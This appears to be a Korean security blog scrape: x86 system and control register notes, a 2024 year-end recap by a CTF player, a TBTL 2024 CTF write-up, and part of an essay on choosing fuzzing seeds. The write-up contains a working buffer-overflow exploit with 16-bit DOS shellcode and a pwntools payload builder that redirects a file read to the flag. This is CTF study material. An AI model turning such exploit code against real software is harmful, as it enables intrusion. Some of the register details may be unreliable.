- IA-32e 모드에서는 NT 비트를 사용하는 기능이 금지되어 있음.
- IRET 명령이 NT 비트를 활성화된 상태로 복구하려고 하면, 이는 규격에 맞지 않은 동작으로 간주되므로 #GP 예외를 발생시킴.

메모리 관리 레지스터 개요

이 레지스터들은 CPU가 메모리를 효율적으로 관리하기 위해 사용하는 데이터 구조(GDT, LDT, IDT, TSS)의 위치와 크기를 저장한다.

GDTR (Global Descriptor Table Register): 전역 디스크립터 테이블(GDT) 위치와 크기를 지정.
LDTR (Local Descriptor Table Register): 로컬 디스크립터 테이블(LDT) 위치와 크기를 지정.
IDTR (Interrupt Descriptor Table Register): 인터럽트 디스크립터 테이블(IDT) 위치와 크기를 지정.
TR (Task Register): 현재 태스크의 태스크 상태 세그먼트(TSS) 정보를 지정.

2. 각 레지스터 설명

2.1 GDTR (Global Descriptor Table Register)

역할: 전역 디스크립터 테이블(GDT)의 **기본 주소(Base Address)**와 **테이블 크기(Limit)**를 저장.
- GDT는 세그먼트의 속성(베이스 주소, 크기, 접근 권한 등)을 정의하는 테이블.
구조:
- 32비트 모드: 32비트 기본 주소와 16비트 크기.
- 64비트 모드: 64비트 기본 주소와 16비트 크기.
초기화:
- CPU가 리셋되면 기본 주소는 0으로, 크기는 0xFFFF로 설정됨.
- 보호 모드 사용 시 반드시 새 값으로 초기화 필요.
명령어:
- LGDT: GDTR 값을 로드.
- SGDT: GDTR 값을 저장.

2.2 LDTR (Local Descriptor Table Register)

역할: 로컬 디스크립터 테이블(LDT)의 기본 주소(Base Address), 크기(Limit), 그리고 디스크립터 속성을 저장.
- LDT는 특정 태스크나 프로그램에 필요한 세그먼트 디스크립터를 관리.
구조:
- 32비트 모드: 32비트 기본 주소와 16비트 크기.
- 64비트 모드: 64비트 기본 주소와 16비트 크기.
초기화:
- CPU가 리셋되면 기본 주소는 0, 크기는 0xFFFF로 설정.
- LLDT 명령으로 LDTR 초기화 가능.
명령어:
- LLDT: LDTR 값을 로드.
- SLDT: LDTR 값을 저장.

2.3 IDTR (Interrupt Descriptor Table Register)

역할: 인터럽트 디스크립터 테이블(IDT)의 기본 주소(Base Address)와 크기(Limit)를 저장.
- IDT는 인터럽트 및 예외 처리 루틴의 위치와 속성을 정의.
구조:
- 32비트 모드: 32비트 기본 주소와 16비트 크기.
- 64비트 모드: 64비트 기본 주소와 16비트 크기.
초기화:
- CPU가 리셋되면 기본 주소는 0, 크기는 0xFFFF로 설정.
- 인터럽트 처리 루틴을 등록하려면 초기화 필요.
명령어:
- LIDT: IDTR 값을 로드.
- SIDT: IDTR 값을 저장.

2.4 TR (Task Register)

역할: 현재 태스크의 태스크 상태 세그먼트(TSS) 정보를 저장.
- TSS는 태스크 간의 전환 시 레지스터 값, 스택 포인터 등을 저장하는 데 사용.
구조:
- 32비트 모드: 32비트 기본 주소와 16비트 크기.
- 64비트 모드: 64비트 기본 주소와 16비트 크기.
초기화:
- CPU가 리셋되면 기본 주소는 0, 크기는 0xFFFF로 설정.
- 새로운 태스크로 전환될 때 자동으로 업데이트.
명령어:
- LTR: TR 값을 로드.
- STR: TR 값을 저장.

3. 세그먼트 관리의 주요 흐름

GDTR: 시스템 전반의 세그먼트 정보(GDT)를 관리.
LDTR: 특정 태스크나 프로그램의 세그먼트 정보(LDT)를 관리.
IDTR: 인터럽트와 예외 처리를 위한 IDT를 관리.
TR: 현재 실행 중인 태스크의 상태(TSS)를 관리.

4. 초기화와 동작

CPU가 전원을 켜거나 리셋되면 모든 레지스터 값은 기본값(0 또는 0xFFFF)으로 설정됨.
보호 모드(Protected Mode) 또는 IA-32e 모드로 전환하려면 GDTR과 IDTR 등의 레지스터를 반드시 초기화해야 함.
태스크 전환 시, LDTR과 TR은 새로운 태스크의 디스크립터 정보를 자동으로 로드.

2.5 CONTROL REGISTERS 요약

CR0, CR1, CR2, CR3, CR4, CR8로 구성.
32비트 모드에서는 32비트, 64비트 모드에서는 64비트 크기로 확장.
제어 레지스터는 MOV 명령어를 통해 읽기/쓰기 가능하며, 권한 레벨 0에서만 접근 가능.
*예약된 비트(Reserved Bits)**는 반드시 0으로 설정해야 하며, 잘못된 설정은 예외(#GP)를 발생시킴.

각 레지스터의 역할

1. CR0 (Control Register 0)

CPU의 시스템 제어 플래그를 포함.
운영 모드와 CPU 상태를 제어.
보호 모드(Protected Mode)와 가상 메모리(Paging) 활성화 플래그가 포함됨.
- 예: PE(Protection Enable), PG(Paging Enable), CD(Cache Disable).

2. CR1

예약됨(Reserved): 사용되지 않음.

3. CR2

*페이지 폴트 주소(Page-Fault Linear Address)**를 저장.
페이지 폴트가 발생한 메모리 주소를 제공해 디버깅과 예외 처리를 지원.
모든 64비트가 쓰기 가능.

4. CR3

페이징 구조의 루트 주소를 저장.
- 페이지 디렉터리, PML4 테이블, PML5 테이블의 물리 주소(Base Address) 포함.
*PCD (Page Cache Disable)**와 PWT (Page Write Through) 플래그를 포함.
- 페이징 구조의 캐싱을 제어.
12비트 정렬 필요:
- 하위 12비트는 항상 0이어야 하며, 페이지 경계(4KB)로 정렬되어야 함.
Physical Address Extension(PAE), 4-Level Paging, 5-Level Paging 지원.
4 레벨 페이징 및 5 레벨 페이징을 사용하는 경우 CR3 레지스터에는 PML4의 기본 주소가 포함됩니다.

5. CR4

아키텍처 확장 기능을 활성화하는 플래그 그룹 포함.
- 예: PAE(Physical Address Extension), SSE(Streaming SIMD Extensions), SMAP(Supervisor Mode Access Prevention).
64비트 모드 전용 비트 (CR4[63:32]):
- IA-32e 모드(64비트 모드)에서만 사용 가능.
- 64비트 모드 밖에서는 효과 없음.

6. CR8 (64비트 모드 전용)

*Task Priority Register (TPR)**에 대한 읽기/쓰기 접근 제공.
- 외부 인터럽트의 우선순위를 제어.
64비트 모드에서만 사용 가능.
- 호환 모드(Compatibility Mode)에서도 인터럽트 필터링은 계속 적용됨.

사용 및 제약 사항

권한 레벨 0에서만 접근 가능:
- 운영체제와 같은 특권 코드만 제어 레지스터를 읽거나 쓸 수 있음.
- 권한 레벨 1, 2, 3에서는 접근 불가.
예약된 비트 사용 제한:
- CR0[31:0]의 예약된 비트를 설정하려 하면 무시됨.
- CR0[63:32] 또는 CR4의 예약된 비트를 설정하면 #GP(0) 예외가 발생.
MOV 명령 동작:
- 64비트 모드에서 MOV 명령은 상위 32비트를 포함한 모든 비트를 유지.
- 64비트 모드 외부에서 MOV 명령 실행 시 상위 32비트는 0으로 초기화됨.

CR0 플래그 정리

CR0.PG (Paging, 비트 31)
- 페이징 활성화/비활성화를 제어.
- 1로 설정: 페이징 활성화 → 가상 주소를 물리 주소로 매핑.
- 0으로 설정: 페이징 비활성화 → 모든 주소를 물리 주소로 처리.
- 주의: PE(Protection Enable) 플래그가 설정되지 않은 상태에서 PG를 설정하면 #GP(일반 보호 예외) 발생.

CR0.CD (Cache Disable, 비트 30)
- 캐시 비활성화를 제어.
- 1로 설정: 프로세서의 캐시 접근 제한.
- 캐시를 비활성화하려면 CD를 설정하고 캐시를 무효화해야 함.

CR0.NW (Not Write-through, 비트 29)
- 쓰기 처리 방식(Write-through 또는 Write-back)을 결정.
- 0으로 설정: 캐시에 Write-back 활성화 (데이터를 캐시에 먼저 쓰고 나중에 메모리에 씀).
- 1로 설정: Write-through 활성화 (데이터를 캐시와 메모리에 동시에 씀).

CR0.AM (Alignment Mask, 비트 18)
- 메모리 정렬 검사를 제어.
- 1로 설정: 정렬되지 않은 메모리 접근 시 예외 발생.
- 조건: AM 플래그, EFLAGS.AC 플래그가 1이고, CPL이 3(사용자 모드)일 때.

CR0.WP (Write Protect, 비트 16)
- 슈퍼바이저 레벨에서 읽기 전용 페이지 쓰기를 제어.
- 1로 설정: 읽기 전용 페이지에 쓰기 금지.
- 0으로 설정: 읽기 전용 페이지에 쓰기 가능.
- OS에서 Copy-on-Write(COW) 구현에 사용.

CR0.NE (Numeric Error, 비트 5)
- x87 FPU 에러 보고 메커니즘을 제어.
- 1로 설정: 내부(native) 방식으로 에러 보고.
- 0으로 설정: PC 스타일의 외부 핀(FERR#, IGNNE#)을 사용한 에러 보고.
- 현대 OS에서는 이 비트를 1로 설정해 내부 방식 사용을 권장.

CR0.ET (Extension Type, 비트 4)
- 구식 플래그로, Intel 386/486 프로세서에서 사용.
- 최신 프로세서에서는 항상 1로 고정되어 있음.

CR0.TS (Task Switched, 비트 3)
- 태스크 전환 시 FPU/MMX/SSE 레지스터 상태 저장 지연을 제어.
- 1로 설정: 태스크 전환 후 FPU/MMX/SSE 명령어를 실행하면 #NM 예외 발생.
- 예외 핸들러가 FPU/MMX/SSE 상태를 저장하고 TS 플래그를 초기화(Clear)해야 함.
- 새로운 태스크에서 FPU 명령어를 실행하지 않으면 레지스터 상태를 저장하지 않아도 됨.

CR0.EM (Emulation, 비트 2)
- FPU 명령어 에뮬레이션을 제어.
- 1로 설정: FPU 명령어를 소프트웨어 에뮬레이션으로 실행.
- 0으로 설정: 하드웨어 FPU에서 실행.

CR0.MP (Monitor Coprocessor, 비트 1)

x87 FPU와 WAIT/FWAIT 명령어의 사용 조건을 제어.
MP 플래그와 TS 플래그를 함께 사용해 FPU 사용 여부를 결정.

2. CR3 레지스터 (Control Register 3)

CR3는 페이징 구조의 루트 주소와 캐시 동작을 제어.

플래그 이름 비트 설명

PCD	Page-level Cache Disable	4	페이징 구조의 캐싱을 비활성화.
PWT	Page-level Write-Through	3	페이징 구조의 쓰기 처리 방식을 제어 (Write-through 또는 Write-back).
LAM_U57	User LAM57 Enable	61	사용자 포인터에서 선형 주소 비트 62:57 마스킹 활성화.
LAM_U48	User LAM48 Enable	62	사용자 포인터에서 선형 주소 비트 62:48 마스킹 활성화.

3. CR4 레지스터 (Control Register 4)

CR4는 프로세서의 확장 기능을 활성화하거나 제어하는 플래그를 포함함.

플래그 이름 비트 설명

VME	Virtual-8086 Mode Extensions	0	Virtual-8086 모드에서 인터럽트 및 예외 처리 확장을 활성화.
PVI	Protected-Mode Virtual Interrupts	1	보호 모드에서 가상 인터럽트 플래그(VIF) 활성화.
TSD	Time Stamp Disable	2	RDTSC 명령어를 권한 레벨 0에서만 실행 가능하도록 제한.
DE	Debugging Extensions	3	DR4, DR5 레지스터 접근 시 #UD 예외 발생.
PSE	Page Size Extensions	4	32비트 페이징에서 4MB 페이지 활성화.
PAE	Physical Address Extension	5	물리 주소 확장 활성화. 32비트를 초과하는 물리 주소를 지원.
MCE	Machine-Check Enable	6	Machine Check Exception 활성화.
PGE	Page Global Enable	7	글로벌 페이지를 활성화해 TLB 플러시 시 제외.
PCE	Performance-Monitoring Counter Enable	8	RDPMC 명령어를 모든 보호 레벨에서 실행 가능.
OSFXSR	OS Support for FXSAVE/FXRSTOR Instructions	9	FXSAVE/FXRSTOR 명령어와 SSE/SSE2/SSE3/SSSE3/SSE4 지원 활성화.
OSXMMEXCPT	OS Support for SIMD Floating-Point Exceptions	10	SIMD 부동소수점 예외(#XM)를 처리하는 운영체제 지원 활성화.
UMIP	User-Mode Instruction Prevention	11	사용자 모드에서 특정 명령어(SGDT, SIDT 등) 실행 금지.
LA57	57-bit Linear Addressing	12	57비트 선형 주소 지원(5레벨 페이징).
VMXE	VMX Enable	13	VMX(Virtual Machine Extensions) 활성화.
SMXE	SMX Enable	14	SMX(Safer Mode Extensions) 활성화.
FSGSBASE	FS/GS Base Enable	16	RDFSBASE, WRFSBASE 등의 명령어 활성화.
PCIDE	PCID Enable	17	프로세스 컨텍스트 식별자(PCID) 활성화. IA-32e 모드에서만 사용 가능.
OSXSAVE	XSAVE and Processor Extended States Enable	18	XSAVE/XRSTOR 명령어 및 확장 상태 지원 활성화.
KL	Key Locker Enable	19	AES Key Locker 명령어 활성화.
SMEP	Supervisor Mode Execution Prevention	20	커널에서 사용자 모드 코드를 실행하지 못하도록 방지.
SMAP	Supervisor Mode Access Prevention	21	커널에서 사용자 모드 메모리 접근을 방지.
PKE	Protection Keys for User-Mode Pages	22	사용자 모드 메모리 페이지의 보호 키 활성화.
CET	Control-Flow Enforcement Technology	23	제어 흐름 보호 기술 활성화.
PKS	Protection Keys for Supervisor-Mode Pages	24	커널 모드 메모리 페이지의 보호 키 활성화.
UINTR	User Interrupts Enable	25	사용자 인터럽트 지원 활성화.
LAM_SUP	Supervisor Linear-Address Masking	28	커널 주소의 선형 주소 마스킹 활성화.

4. CR8 레지스터 (Control Register 8, 64비트 모드 전용)

CR8는 외부 인터럽트의 우선순위를 제어.

플래그 이름 비트 설명

TPL

Task Priority Level

3:0

인터럽트 우선순위 임계값 설정. 0은 모든 인터럽트 허용, 15는 모든 인터럽트 차단.

2024 연말결산 / 2025 계획

MyLostChristmas — Sat, 21 Dec 2024 18:10:04 +0900

안녕하세요. 한 5개월동안 아무 글도 쓰지 못했던 것 같습니다.

거창한 이유를 조금 붙여보자면, 2024 하반기에 생각보다 에너지를 쏟아야 했었던 일들이 많이 있었던 것 같습니다.

해킹 공부도 그렇고, 의도치 않게 입시를 일찍 시작하기도 했고, 약 11번이 넘는 고사 등등..

그래도 개인적으로 공부한 CS 및 해킹 쪽 내용은 따로 정리를 해두어서, 방학 중에 전부 포스팅 해볼 예정입니다.

내년도 스위스에서 치뤄질 LakeCTF 예선의 문제를 풀면서 House Of Water라는 기법을 접했는데, 꽤 흥미로웠습니다.

다음 글은, 이와 관련 된 내용을 써보고 싶습니다.

그나저나, 크리스마스는 어느덧 4일만을 남겨두고 있네요. 2023년의 크리스마스가 얼마 지나지 않은 것 같은데요.

어릴 때는 시간이 빠르게 지나가는 것을 소망했으나 요즘 들어 점점 그 소망이 반대 방향으로 바뀌는 느낌입니다.

각설하고, 이번 글에서는 2023년에 정했던 목표 중 얼마나 이뤘는지 체크하고, 2025년의 계획을 짜보려고 합니다.

✅ - 이룬 것

- 추가로 이룬 것

☑️ - TODO

2024 PLAN

✅ 드림핵 10레벨 문제 2개 이상 풀기 -> Half Check

✅ 이스라엘/러시아 친구들과 해외 대회 여러개 나가보기

✅ 해킹 공부 / 과목 공부 비율 맞추기

✅ 윈도우 취약점 2개 이상 찾기

✅ BOB 하기

✅ Fuzzing에 대해서 더 깊게 공부해보기

외국인들과 해외 대회 뛰어보기

DEFCON 본선 진출 하기

국정원 CCE / 국방부 Whitehat 수상권 (1,2등)

외국인들과 해외 대회 뛰어보기

드림핵 시스템 해킹 한국 3등 이상 찍어보기

KAIST 대학 입학 (어쩌다보니)

☑️ 하이퍼바이저로 PatchGuard 우회하여 루트킷 감지하는 툴 만들기 -> TODO (Wane과 작업 예정)

2025 PLAN

☑️ 학점(GPA) 적어도 3 / 4.3 이상은 따기..

☑️ 스위스 / 독일 등 DEFCON 제외하고 많은 해외 대회 나가보기 (본선 onsite까지)

☑️ DREAMHACK 시스템 해킹 분야 한국 1위 찍어보기

☑️ 이더리움 / 솔리디티 관련 된 WEB3 공부 많이 하기

☑️ 수학 공부 열심히 하기 / TOEFL 공부하기 ( 해외 대학원 진학하려면.. )

☑️ 양자 컴퓨터 공부 열심히 하기 (Sub : 물리 공부하기)

2024년을 시작하며, 2024 후반, 이맘때쯤 그 글을 다시 보게 된다면 열심히 살았느냐는 물음에 주저 없이 그렇다고 답할 수 있도록 살아야겠다고 다짐했었습니다. 돌아보니, 꽤 많은 목표를 이뤄냈다는 점에서 스스로 만족스럽습니다.

이제 2025년을 준비하며 새해의 목표를 급히 정리하고 있습니다. 적어야 할 항목들이 생각보다 많아 보입니다. 개인적으로 작성 중인 버킷리스트가 있습니다. 여행기는 현재 약 네 편 정도를 완성했고, 데프콘에서는 비록 우승은 아니었지만 운 좋게도 어린 나이에 팀장으로 전 세계 결승에 진출한 경험이 인상 깊게 남았습니다.

올해를 돌아보며 느낀 것은, 세상은 참 넓고, 그 안에 참으로 많은 사람들이 있다는 사실입니다. 예전에는 해외여행이나 이유 없이 사람들을 만나는 일이 시간과 돈의 낭비라고 생각했었습니다. 하지만 올해 여러 해외 대회에 참가하면서 만난 사람들과의 경험은 그러한 생각을 완전히 바꿔놓았습니다. 다양한 사람들을 만나며 그들의 이야기를 듣고 교류하는 것은, 자신을 성장시키는 데 있어 그 무엇보다 값진 경험임을 깨달았습니다.

2025년에는 한층 더 성장하기 위해 꾸준히 공부하며 더 많은 대회에 도전하고자 합니다. 그리고 무엇보다 올해 세웠던 계획들도 끝까지 성실히 완수해야겠습니다.

곧 크리스마스입니다. 이 글을 읽는 모든 분들이 행복한 크리스마스를 보내시고, 다가오는 새해에도 건강하고 무탈하시길 바랍니다.

Thanks to the FMC team

TBTL 2024 CTF - Pwn From Past ( 4 solved) writeup

MyLostChristmas — Mon, 13 May 2024 12:31:40 +0900

Chall.cpp

// Built using Borland C++ 3.0 -- still the best IDE produced by humankind.
// <https://winworldpc.com/download/52dfb385-9ba2-11e9-ab10-fa163e9022f0>
//
// bcc -v CHALL.CPP 
//

#include 

int main() {
  char name[32];
  FILE *input = fopen("input.txt", "rt");
  FILE *output = fopen("output.txt", "wt");

  if (!input) {
    printf("Error opening input file!");
    return 1;
  }
  if (!output) {
    printf("Error opening input file!");
    return 1;
  }

  fscanf(input, "%[^ ]s", name);
  fprintf(output, "Hello %s\\n", name);
  
  fclose(input);
  fclose(output);
  
  return 0;
}

Serv.py

#!/usr/bin/python3

import base64
import os
import shutil
import signal
import subprocess
import tempfile

def myprint(s):
    print(s, flush=True)

def handler(_signum, _frame):
    myprint("Time out!")
    exit(0)

def main():
    signal.signal(signal.SIGALRM, handler)
    signal.alarm(10)

    myprint("Enter contents for INPUT.TXT (base64): ")
    contents = input()
    try:
        data = base64.b64decode(contents)
    except Exception as e:
        myprint("Error decoding contents ({}).\\n".format(e))
        exit(0)

    tmp_dir = tempfile.mkdtemp(dir="./run")
    shutil.copy("flag.txt", os.path.join(tmp_dir, "FLAG.TXT"))
    shutil.copy("RUN.BAT", os.path.join(tmp_dir, "RUN.BAT"))
    shutil.copy("CHALL.EXE", os.path.join(tmp_dir, "CHALL.EXE"))
    input_filename = os.path.join(tmp_dir, "INPUT.TXT")  
    input_file = open(input_filename, "wb")
    input_file.write(data)
    input_file.close()

    cmd = ["/usr/bin/dosbox", "-c", f"MOUNT C {tmp_dir}", "-c", "C:\\RUN.BAT"]
    env = {"SDL_VIDEODRIVER": "dummy"} # Supress dosbox GUI
    myprint(f"Running {' '.join(cmd)}")
    subprocess.check_output(cmd, env=env)

    try:
        output_filename = os.path.join(tmp_dir, "OUTPUT.TXT")  
        output_data = open(output_filename, "rb").read()
        myprint("Your OUTPUT.TXT: {}".format(base64.b64encode(output_data).decode()))
    except FileNotFoundError:
        myprint("Program did not produce OUTPUT.TXT")

if __name__ == "__main__":
    main()

바이너리를 살펴보면, input.txt를 fscanf로 불러오면서 BOF가 발생한다.

x86이나 ARM같은 익숙한 환경이었다면 참 쉬운 문제가 되었을텐데, 위에서 볼 수 있 듯 DosBox를 통한 16비트 환경에서 돌아가기에 문제가 조금 어려워진다.

Analysis & Strategy

일단 컴파일 된 바이너리를 Ghidra로 뜯어보면, C++ 소스와 다르게 저런 식으로 Fopen과 파일 이름을 불러오게 된다(FUN_1000_1852 함수) 그리고 두 개의 16진수를 인자로 받는데 나는 저 두 인자가 뭔지 몰랐으나, 팀원의 도움으로 16비트 OS에서 File관련 I/O 함수를 사용할 떄, 데이터 구조체(파일 이름 등)을 Data Segment + 특정 오프셋에 저장한다고 한다.

흠.. 그래서 Data Segment + 0xaa ~ 0xb4에 뭐가 있나? 하고 보니까 input.txt가 저장되어 있는 것을 확인할 수 있었다. 그렇다면 어떻게든 Data Segment의 0xaa부터 0xb4의 input.txt라는 문자열을 flag.txt로 바꾼 다음 다시 main으로 돌아오면 Output에 Flag가 포함 된 파일이 있을 것이라고 가정하고, 문제를 풀려고 시도하였다.

Process…

일단 BOF를 성공한다고 해도, 16비트 프로그램에서는 Libc가 없기 떄문에.. syscall로 ROP를 하거나 혹은 쉘코드를 사용해야한다.

그러나 왠진 모를 이유로 32바이트(Name의 바이트) + 8바이트 이후에는 Fscanf가 더 이상 읽지 않는 것을 보여줬다. → 아마도 output.txt의 File구조체와 관련이 있는 것 같다고 유추했다.
- 처음에는 dosbox에 NX가 걸려있는 줄 알았으나, NX가 작동하지 않았기에 Shellcoding을 해서 Jump to Shellcode를 하면 되겠다고 생각했다.

How 16bit Program working?

일단 16 bit같은 경우는 Segment:address와 같은 형식으로 메모리에 접근하게 된다.
그렇기에, Jmp-to-Shellcode(stack)을 하기 위해서는, Stack으로 Ret하기 위해 현재 CS를 SS로 조작해야한다. (CS + 스택에 있는 Ret주소로 점프하기 떄문)
- 그렇다면, 어떻게 CS를 조작할 수 있을까…?
  - RETF !!!!!!
  RETF를 만나면 스택에서 두 워드를 꺼내 처음꺼낸건 IP에 넣고 두번째 꺼낸건 CS에 넣는다.[출처] RETN or RETF|작성자 박호진
- CS:IP는 항상 다음에 실행할 명령어를 가리키므로 당연히 점프가 된다.
그렇다면 최종 체인은 Shellcode(padding with 34) + retf Gadget이 되게 된다.

Exploit

왠진 모르겠지만, DosBox환경에서 DosBox Debugger을 부착했을 떄 CS와 SS가 실제 환경과 MisMatch되는 기현상이 일어났다.. 그래서 CPU Cycle을 1로 설정해서 매우매우 느리게 실행되게 바꿔놓고, 수동으로 BP를 설치하여 Runtime-Debugging을 시도하여 CS와 SS를 알아냈다.

Shellcode

ORG 100h
mov byte [ds:0xaa], 0x2f
mov word [ds:0xab], 0x6c66
mov word [ds:0xad], 0x6761
mov ax, 0x1A2 ; 다시 Main으로 돌아가기 위한 실제 .text CS
push ax
mov ax, 0x291 ; Main Offset From CS
push ax
retf

from pwn import *
from base64 import *
exfile = open('input.txt','wb')
shellfile = open('code.com','rb')
shellcode = shellfile.read()
payload = shellcode.ljust(34,b'a')
payload += p16(0x91c) #retf gadget
payload += p16(0xFFD6)#IP
payload += p16(0x03DA)#CS
exfile.write(payload)
data1 = b''
encoded_data = base64.b64encode(payload)
print(payload)
print(encoded_data)

SeedSeeker

MyLostChristmas — Sun, 18 Feb 2024 20:31:36 +0900

FuzzSeedSeeker

서론

Fuzzing은 소프트웨어의 보안 취약점을 발견하기 위한 자동화된 테스트 기법 중 하나입니다. 이 방법은 임의의 데이터(또는 “Fuzz")를 소프트웨어 입력으로 제공하여 예외, 충돌, 또는 예상치 못한 행동을 유발하는지 탐색합니다. 소프트웨어 개발 및 보안 연구 분야에서 널리 사용되는 Fuzzing은 시스템의 견고성을 향상시키고, 잠재적인 보안 위험을 사전에 식별하여 해결할 수 있는 효과적인 방법으로 인정받고 있습니다.

Fuzzing 과정에서 'Seed'의 중요성은 어느정도일까요? Seed는 퍼징 과정에서 사용되는 초기 입력 값이나 데이터 셋을 의미합니다. 좋은 Seed는 Fuzzer가 더 깊이 있는 경로를 탐색하도록 하여 보다 효율적으로 취약점을 발견할 수 있게 합니다. 예를 들어, 특정 파일 형식을 처리하는 소프트웨어를 대상으로 하는 경우, 해당 파일 형식의 유효한 예시를 Seed로 사용하면 Fuzzer가 더 유의미한 입력 값을 생성하여 소프트웨어의 깊숙한 영역까지 탐색할 수 있습니다.

Seed의 품질과 다양성은 Fuzzing의 성공에 직접적인 영향을 미칩니다. 고품질의 Seed는 Fuzzer가 소프트웨어의 다양한 부분을 테스트하고, 잠재적으로 취약한 코드 경로를 발견하는 데 도움을 줍니다. 반면, 낮은 품질의 Seed는 테스트의 범위를 제한하고, 중요한 취약점을 간과할 수 있습니다. 따라서, 효과적인 Fuzzing 캠페인을 수행하기 위해서는 다양하고, 관련성 높은 Seed를 신중하게 선택하고 준비하는 것이 필수적입니다.

그렇기에, 이런 과정을 DynamoRio의 Coverage 측정 유틸 DrRun을 사용해, 파이썬 스크립트를 사용하여 전자동화 해주는 SeedSeeker을 제안합니다.

본론

그렇다면, Seed가 고품질인지, 저품질인지(Fuzzing 타겟에 적합한지)의 여부는 어떻게 판단할까요? Fuzzing은 타겟 프로그램의 최대한 깊숙히 도달할 수 있는 input값을 찾는 것을 목표로 합니다.

그렇기에, 타겟 프로그램의 최대한 깊숙히 도달할 수 있도록 하는 여러 조건문과 basic Block을 거치는 초기 input값이 고품질의 Seed가 될 수 있습니다. 어떤 input값이 어느정도 깊숙히 도달했는지의 여부는 coverage를 통해 상대적인 값으로 알 수 있고, 이는 Coverage를 측정할 수 있는 INTEL PT(INTEL), TinyInst(Google), DynamoRio등으로 타겟 프로그램의 실행된 Instrucion/basic block의 개수를 Trace함으로서 알 수 있습니다. 기본적인 아이디어는 여러 뭉치의 Seed를 직접 input으로 전달해 각 Seed마다 가지는 Coverage를 Count하여 사용자에게 어떤 Seed를 기반으로 Mutation을 진행했을 때 가장 많은 Edge와 Coverage를 얻을 수 있는지 알려주는 것이 기본 아이디어입니다.

그러나, SeedSeeker에 대한 근본적인 물음인 “어차피 seed는 많을 수록 좋은 것 아니야?”와 같은 질문에 답을 하자면 각 Seed가 서로 다른 path를 가져 서로 다른 basic block을 Trigger한다면 좋지만, 만약 Fuzzing을 타겟으로 하는 함수가 해당 seed의 파일 형식을 지원하지 않거나, 정말 1~2줄의 적은 동작만 수행한다면 해당 형식의 Seed는 아무리 Mutation을 진행시킨다고 해도 더 넓은 basic block 탐색을 할 수 없게 되고, 이는 Master Node의 불필요한 Mutation을 야기시켜 성능을 저하시키게 됩니다. 예를 들어, 실행 파일을 검사하는 백신 함수에 이미지 파일의 형식을 삽입하게 되면 처리를 하지 않고 예외처리나 return으로 빠지게 되기 때문에 낮은 Coverage를 가질 수 밖에 없게 됩니다, 그러나 많은 Fuzzer들은 제공 된 Seed를 기반으로 계속 mutation시키기 때문에 50개의 Seed 중 40개가 낮은 coverage를 가지고, 10개만 높은 Coverage를 가진다면, 50번의 Cycle중 40번의 Cycle은 거의 무가치하게 되게 됩니다.

When deploying fuzzers at an industrial scale it is imperative that seeds exhibiting redundant behavior be removed from the fuzzing queue, as they will lead to wasted cycles.
산업 규모에 퍼저를 배포할 때는 반드시 중복 동작(낮은 Coverage)를 보이는 시드는 퍼징 대기열에서 제거해야 합니다. 퍼징 대기열에서 제거해야 합니다. 불필요한 주기를 초래할 수 있기 때문입니다.
-Seed selection for successful fuzzing 논문 중 발췌

그렇기에, 백신/File Parsing 부분의 harness를 작성하는 글의 대부분은 보면 아래와 같은 문구가 늘 하나씩 있습니다.

With some carefully selected seed files by observing coverage feedback, we get into the fuzzing process. ”Coverage Feedback을 관찰하여 신중하게 선택된 일부 시드 파일을 사용하여 퍼징 프로세스에 들어갑니다” - S2W windows Defender Fuzzing Article
출처 : https://medium.com/s2wblog/fuzzing-the-shield-cve-2022-24548-96f568980c0

Fuzzing the Shield: CVE-2022–24548

Author: Daejin Lee, Seunghoe Kim, Donguk Kim, Eugene Jang

medium.com

이렇게 타겟 함수가 어떤 함수인지 정확히 알고 Fuzzing에 대한 경험이 풍부하다면 Seed의 중요성을 익히 알고 있지만, 대부분의 사람들은 Seed에 신경쓰지 않고 Fuzzing을 진행하는 경우가 많습니다.

아래는 Seed selection for successful fuzzing라는 논문에서 발췌한 내용입니다

Remarkably, Klees et al. [37] found that “most papers treated the choice of seed casually, apparently assuming that any seed would work equally well, without providing particulars”. 놀랍게도 Klees 등[37]은 "대부분의 논문에서 시드 선택에 대한 구체적인 설명 없이 모든 시드가 똑같이 잘 작동할 것이라고 가 정하여 아무렇게나 처리했다"는 사실을 발견했습니다. -Seed selection for successful fuzzing 논문 중 발췌

출처 :https://dl.acm.org/doi/10.1145/3460319.3464795

위에서 언급한 Seed selection for successful fuzzing 는 현 연구에서 필요할 “Seed 선택의 중요성” 에 대해 연구한 논문입니다.

위 논문에서는 동일한 바이너리(binutils)에 대해 모든 조건을 동일시하지만, Seed만 (없음/아무거나/파일 구조만 맞는 것/높은 Coverage를 제공하는 Corpus)로 나누어 Fuzzing을 진행하고, 시간에 따른 Regions(Edge/Coverage와 동일한 개념)의 변화에 대해 그래프로 보여줍니다. 아래 그래프를 보면 알 수 있 듯, 초기에 높은 Coverage를 제공하는 Seed와 AFL++의 조합이 가장 많은 Coverage 탐색을 이끌어 낸 것을 확인할 수 있습니다. 여기서 주목해봐야 할 점이 AFLFast나 honggfuzz는 그렇게 많은 차이가 나지 않는데, 왜 AFL++만 유독 더 넓은 Coverage를 얻을 수 있었는지를 살펴봐야 합니다.

복제 실험: 레드퀸. 시드 선택의 중요성을 입증하기 위해 REDQEEN 평가의 실험을 재현해 보겠습니다. … 중략 Redqeen 대신 "CmpLog" 계측이 활성화된 AFL++[23]를 사용하여 Redqeen의 "입력-상태 대응"을 구현했습니다.

-Seed selection for successful fuzzing 논문 중 발췌

위에서 볼 수 있 듯, AFLFast와 hongFuzz는 그냥 단순히 bitflip이나 무작위 바이트 flip을 통한 Fuzzing을 진행합니다. 그러나, AFL++는 Redqueen을 사용하여 smart-mutation을 지원하는데, redqueen의 원리를 살펴보면 CMP 구문의 인자를 가져와, mutation시 CMP Instuctor의 인자를 기반으로 mutation을 진행해 CMP 구문을 통과할 수 있게하는데, 이미 완성 된 구조(corpus)에서 특정 바이트만 redqueen으로 Flip할 수 있으니 훨씬 더 높은 Coverage를 갖게 됩니다. 일반적인 Fuzzing에서도 Seed의 중요성은 크지만, RedQueen과 같은 CMPLOG를 기반으로 한 Mutation을 진행한다면, 이 때 Seed의 중요성은 더욱 크게 두드러집니다. 현재 Windows용으로 만들어진 오래 된 winAFL을 제외하면, Snapshot 기반 Fuzzer “kAFL”도 RedQueen을 사용하고 있고, Jackalope의 경우에도 CMP 부분에서의 Mutation을 추가할 수 있기 때문에, Seed의 중요성은 의 그래프와, Mozila 브라우저 개발자의 인용으로 Seed의 중요성을 확인할 수 있습니다.

